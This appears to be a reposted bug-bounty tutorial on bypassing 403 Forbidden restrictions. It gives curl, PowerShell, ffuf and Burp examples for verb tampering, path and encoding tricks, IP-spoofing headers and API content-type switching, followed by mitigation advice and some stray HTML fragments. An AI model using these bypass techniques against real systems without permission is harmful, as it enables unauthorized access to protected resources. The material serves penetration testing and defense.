How I Bypassed 403 Forbidden and Earned a Bounty: Insider 403 Bypass Techniques for Bug Hunters + Video

Introduction:

A 403 Forbidden response is often seen as a dead end, but experienced bug hunters know it can be a gateway to hidden endpoints and unauthorized access. By exploiting inconsistencies in web server and application logic, security researchers like Aditya Singh regularly bypass these restrictions to earn bounties. This article explores the technical methods used to circumvent 403 protections, from HTTP verb tampering to path obfuscation, and provides actionable commands and configurations for penetration testers.

Learning Objectives:

• Understand the root causes of 403 bypass vulnerabilities in web servers and frameworks.
• Apply manual and automated techniques including verb tampering, header injection, and path fuzzing.
• Implement mitigation strategies to harden access controls against these attacks.

You Should Know:

1. HTTP Verb Tampering: Bypassing Restrictions by Changing the Method

Many web applications enforce access controls only on GET and POST requests, leaving other HTTP methods like HEAD, PUT, DELETE, or PATCH improperly validated. Attackers can switch to a less common verb to retrieve the same resource.

Step‑by‑step guide:

• Identify a 403‑protected URL, e.g., `https://target.com/admin/config`.
• Send a normal GET request using curl:

  curl -i -X GET https://target.com/admin/config
  

  Expected response: 403 Forbidden.

• Try the HEAD method (often mirrors GET but without the body):

  curl -i -X HEAD https://target.com/admin/config
  

• If the server responds with `200 OK` or `405 Method Not Allowed` (indicating the method itself is recognized but not allowed), also test OPTIONS, PUT, PATCH, DELETE, and arbitrary verbs like `XGET` or FOO:

  curl -i -X PUT https://target.com/admin/config
  curl -i -X PATCH https://target.com/admin/config
  

• On Windows (PowerShell) use:

  Invoke-WebRequest -Uri "https://target.com/admin/config" -Method PUT
  

Why it works: Some frameworks (e.g., ASP.NET, Django with certain middleware) apply access rules only to specific verbs. A HEAD request might bypass an `

` attribute or a `.htaccess` rule targeting <code>GET|POST</code>.

<ol>
<li>Path Traversal and Obfuscation: Using `..;` and Encoding Tricks</li>
</ol>

Adding path traversal sequences or injecting unexpected characters can fool path‑based authorization checks. For example, a rule blocking `/admin` might not block `/admin/..;/admin` or <code>/admin/./config</code>.

<h2 style="color: yellow;">Step‑by‑step guide:</h2>

<ul>
<li>Start with the original 403 URL: `https://target.com/admin`</li>
<li>Append `/.` or `/..` or URL‑encoded variations:
[bash]
curl -i https://target.com/admin/.
curl -i https://target.com/admin/..
curl -i https://target.com/admin%2f

curl -i https://target.com/admin;/config

curl -i https://target.com//admin//
curl -i https://target.com/./admin/./config

curl -i https://target.com/admin%2f%2e%2e%2fadmin

Why it works: Web servers normalize paths differently than the authorization module. A reverse proxy might decode before checking, while the backend sees the original, leading to mismatch.

3. Header Injection: Spoofing Client IPs and Hosts

Many access‑control lists rely on headers like X-Forwarded-For, X-Real-IP, or `Host` to determine the client’s origin. By injecting internal IP addresses (127.0.0.1, 10.0.0.1) or trusted hosts, you can convince the application you’re a local or whitelisted user.

Step‑by‑step guide:

• Send a request with X-Forwarded-For: 127.0.0.1:

  curl -i -H "X-Forwarded-For: 127.0.0.1" https://target.com/admin
  

• Try multiple headers: X-Forwarded-Host, X-Original-URL, X-Rewrite-URL, X-Forwarded-Scheme:

  curl -i -H "X-Original-URL: /admin" https://target.com/home
  

• On Windows using Invoke-WebRequest:

  $headers = @{"X-Forwarded-For"="127.0.0.1"; "X-Real-IP"="10.0.0.1"}
  Invoke-WebRequest -Uri "https://target.com/admin" -Headers $headers
  

• Use Burp Suite’s “Match and Replace” to automatically add these headers to every request.

Why it works: Some reverse proxies (Nginx, HAProxy) add these headers, and backend applications trust them without validation. A misconfigured WAF might also whitelist internal IPs.

1. URL Encoding and Double Encoding for Filter Evasion

Web application firewalls (WAFs) often block obvious patterns like `/admin` or ../. Encoding characters can slip past simple regex filters.

Step‑by‑step guide:

• Encode the forward slash or dot in the path:

  https://target.com/admin%2Fconfig
  

  (note: some servers treat `%2F` as a literal slash, others as encoded slash)

• Double encode: `%252f` for /, `%252e` for .:

  curl -i "https://target.com/admin%252fconfig"
  

• Use Unicode overlong encodings (e.g., `%c0%ae` for dot) to bypass signature‑based detection.
• Test with `curl –path-as-is` to prevent curl from normalizing the URL:

  curl -i --path-as-is "https://target.com/admin/%2e%2e/%2e%2e/config"
  

Why it works: The WAF decodes once and checks, but the web server may decode twice or treat encoded characters differently, leading to a bypass.

1. Automated Fuzzing with ffuf and Burp Suite Intruder

Manual testing is slow. Use fuzzing tools to send hundreds of payloads automatically.

Step‑by‑step guide using `ffuf` (Linux/macOS/WSL):

• Create a wordlist of 403 bypass payloads (common patterns: /., /%2e/, ;/, /%2e%2e/, ..;/, %20, %23, %3f). Save as 403-bypass.txt.
• Run ffuf against the target:

  ffuf -u https://target.com/admin/FUZZ -w 403-bypass.txt -c -t 50 -fc 403
  

  The `-fc 403` filters out responses still returning 403, showing only status changes.

• For header injection, use `-H` flag:

  ffuf -u https://target.com/admin -H "X-Forwarded-For: FUZZ" -w ip-list.txt -fc 403
  

• In Burp Suite Intruder:
• Send the 403 request to Intruder.
• Set payload position in the path (e.g., `/admin§§` or /admin/§§).
• Load the payload list from `seclists/Fuzzing/403-bypass.txt` (available on GitHub).
• Attack and sort by status code.

Why it works: Automation reduces human oversight and finds edge cases where only specific obscure strings bypass the restriction.

6. API‑Specific Bypasses: Content‑Type Switching and Parameter Pollution

REST and GraphQL APIs sometimes enforce authorization based on the `Content-Type` header or request parameters. Changing the accepted format can leak data.

Step‑by‑step guide:

• For a 403‑protected API endpoint GET /api/users/me, try adding `?format=json` or changing `Accept` header:

  curl -i -H "Accept: application/xml" https://target.com/api/users/me
  

• Send the same request as POST with Content-Type: application/x-www-form-urlencoded:

  curl -i -X POST -d "param=value" -H "Content-Type: application/x-www-form-urlencoded" https://target.com/api/users/me
  

• For GraphQL, try moving the operation to a different query parameter:

  curl -i -G -d "query={__typename}" https://target.com/graphql
  

• Use parameter pollution: `?id=1&id=admin` to confuse the backend.

Why it works: API gateways may apply different routing rules based on content type, and some poorly coded endpoints bypass authentication when unexpected parameters are supplied.

7. Hardening Against 403 Bypasses: Mitigation for Defenders

Understanding bypass techniques is only half the battle; defenders must implement robust controls.

Step‑by‑step guide to mitigation:

• Use positive allow‑lists – block all verbs except those explicitly required (GET, POST, etc.). Example Apache .htaccess:

  <LimitExcept GET POST HEAD>
  Deny from all
  </LimitExcept>
  

• Normalize paths before authorization – in Nginx, use `merge_slashes on;` and always decode percent‑encoded characters at the perimeter.
• Reject suspicious headers – strip or override `X-Forwarded-For` and similar headers from client requests at the reverse proxy level. Set a trusted internal header only from the proxy.
• Test with automated scanners – integrate tools like `nuclei` with 403 bypass templates:

  nuclei -u https://target.com -t http/misconfiguration/403-bypass.yaml
  

• On Windows IIS, use URL Rewrite module to reject `..` or `;` in paths.

Why it works: Defense in depth – combining proper normalization, strict verb control, and header validation eliminates most common bypass vectors.

What Undercode Say:

• Key Takeaway 1: Aditya Singh’s small bounty demonstrates that even a “simple” 403 bypass can yield financial rewards and hidden endpoints. The most effective bypasses often exploit subtle differences between how the authorization layer and the backend server parse the same request.
• Key Takeaway 2: Rajan Kumar Barik’s question “Any tips” reflects a common reality: many researchers know 403 bypass exists but lack a systematic methodology. Mastering the techniques above – verb tampering, path fuzzing, header spoofing – turns trial‑and‑error into a repeatable skill.

Analysis (10 lines): The 403 bypass technique is rooted in inconsistent request interpretation between components (e.g., reverse proxy, WAF, application framework). Each component normalizes the URI, headers, and method differently – an attacker finds the mismatch. Historically, this has led to critical data leaks in government, finance, and tech platforms. The low complexity and high impact make 403 bypass a favorite among bug hunters. However, many organizations still misconfigure access controls, leaving them vulnerable. The shift to API‑first architectures introduces new bypass surfaces (e.g., GraphQL introspection, content‑type switching). Automated scanning with ffuf and custom wordlists increases discovery rates exponentially. Defenders must adopt robust path normalization and reject untrusted headers outright. As cloud native environments grow (Kubernetes Ingress, AWS ALB), new bypass vectors will emerge – but the core principle of “canonicalization mismatch” remains timeless.

Prediction:

The next generation of 403 bypasses will target serverless functions and edge workers, where request routing logic is distributed and often custom‑coded. AI‑driven WAFs may reduce signature‑based bypasses but will struggle with context‑aware attacks that mimic legitimate user behavior. Meanwhile, bug bounty platforms will see an increase in “bypass chaining” – combining a 403 bypass with SSRF or IDOR for critical vulnerabilities. Organizations will need to adopt runtime application self‑protection (RASP) and zero‑trust authorization models that enforce access at the data layer, not just the HTTP endpoint. However, until normalization is standardized across all layers, the 403 Forbidden page will remain an invitation, not a barrier.

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Reported By: Aditya Singh4180 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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